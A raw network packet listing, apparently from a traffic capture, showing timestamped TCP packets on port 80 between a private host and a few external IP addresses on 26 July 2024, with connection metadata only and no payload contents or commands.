Jul 26, 2024 08:58:08.408277988 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.408288002 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.408299923 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.408310890 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.408318996 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.408324003 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.408356905 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.408360958 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.408370018 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.408377886 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.408390045 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.408401012 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.408415079 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.408425093 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.408426046 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.408438921 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.408449888 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.408452034 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.408467054 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.408476114 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.408504009 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.408543110 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.409225941 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409239054 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409248114 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409259081 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409269094 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409281969 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409295082 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409307957 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409321070 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409331083 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409342051 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409353018 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409363985 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409375906 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409385920 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409398079 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.409409046 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.410095930 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.410108089 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.410118103 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.410129070 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.410140038 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.410150051 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.410161018 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.410172939 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.410196066 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.424981117 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.440557003 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.441395044 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.441421032 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.750879049 CEST	80	49814	85.28.47.31	192.168.2.7
Jul 26, 2024 08:58:08.751493931 CEST	49814	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:58:08.751801014 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.753060102 CEST	80	49814	85.28.47.31	192.168.2.7
Jul 26, 2024 08:58:08.754062891 CEST	80	49815	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:08.754676104 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.754688978 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.754720926 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.754731894 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.755024910 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.755039930 CEST	49814	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:58:08.755055904 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.755137920 CEST	49815	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:08.755204916 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.755861998 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.755875111 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.755886078 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.755953074 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.755964041 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.755975008 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.755985975 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.755997896 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756114960 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756263971 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756274939 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756289959 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756300926 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756311893 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756323099 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756334066 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756710052 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756721973 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756727934 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756733894 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756743908 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756750107 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756761074 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756772041 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756782055 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756793976 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756805897 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756817102 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756827116 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756839991 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.756854057 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.757414103 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.757424116 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.757433891 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.757447004 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.757457972 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.757468939 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.757481098 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.757492065 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758106947 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758120060 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758130074 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758141041 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758151054 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758163929 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758333921 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758351088 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758362055 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758373976 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758510113 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758522987 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758866072 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758878946 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758889914 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758900881 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758913040 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758924007 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758984089 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.758996010 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.759008884 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.759294987 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.759306908 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.759318113 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.759330034 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.759341955 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.759352922 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.759365082 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.759429932 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760415077 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760433912 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760446072 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760457039 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760462999 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760468960 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760473967 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760487080 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760493994 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760500908 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760513067 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760524988 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760536909 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760546923 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760565042 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760576010 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760590076 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760601044 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760612965 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.760626078 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.761331081 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.761341095 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.761352062 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.761363029 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.761373997 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.761384964 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.761395931 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.761408091 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.761419058 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.761429071 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.761440039 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.761451960 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.761462927 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.761473894 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.763864994 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.763878107 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.763889074 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.763900995 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.763912916 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.764698982 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.764717102 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.764729023 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765158892 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.765682936 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765697002 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765707016 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765719891 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765731096 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765742064 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765752077 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765765905 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765775919 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765789032 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765799999 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765810966 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765821934 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765835047 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765846968 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765857935 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765871048 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.765882015 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766586065 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766603947 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766614914 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766625881 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766638041 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766649008 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766666889 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766676903 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766688108 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766700029 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766710997 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766716957 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766721964 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766726971 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766732931 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766737938 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766742945 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766747952 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766753912 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.766763926 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.767559052 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.767580032 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.767591000 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.767601967 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.767612934 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.767623901 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.767635107 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768290043 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768301964 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768312931 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768325090 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768337011 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768349886 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768361092 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768381119 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768392086 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768404007 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768414974 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768426895 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768439054 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768450022 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768460989 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768471956 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768491983 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768501997 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768512964 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768524885 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768534899 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.768547058 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769026041 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769040108 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769185066 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769197941 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769207001 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769218922 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769229889 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769242048 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769253016 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769264936 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769275904 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769285917 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769299984 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769310951 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769330025 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769351959 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769364119 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769373894 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769383907 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769395113 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769404888 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769417048 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769428015 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769438982 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769449949 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769460917 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769471884 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769481897 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769493103 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769504070 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.769613981 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.769917965 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.769958973 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770001888 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770075083 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770075083 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770132065 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770132065 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770155907 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770178080 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770206928 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770226955 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770255089 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770258904 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.770272970 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.770284891 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.770291090 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.770296097 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.770302057 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.770313025 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.770318985 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.770334959 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770349979 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770395041 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770446062 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770469904 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770533085 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770533085 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770543098 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770566940 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770585060 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770607948 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770699978 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770746946 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770788908 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.770792007 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.770962954 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:08.774183989 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.774195910 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.774207115 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.774216890 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.774229050 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.774240017 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.774961948 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775101900 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775114059 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775191069 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775208950 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775219917 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775229931 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775242090 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775254965 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775357962 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775369883 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775378942 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775389910 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775402069 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775639057 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:08.775727034 CEST	80	49807	185.215.113.16	192.168.2.7
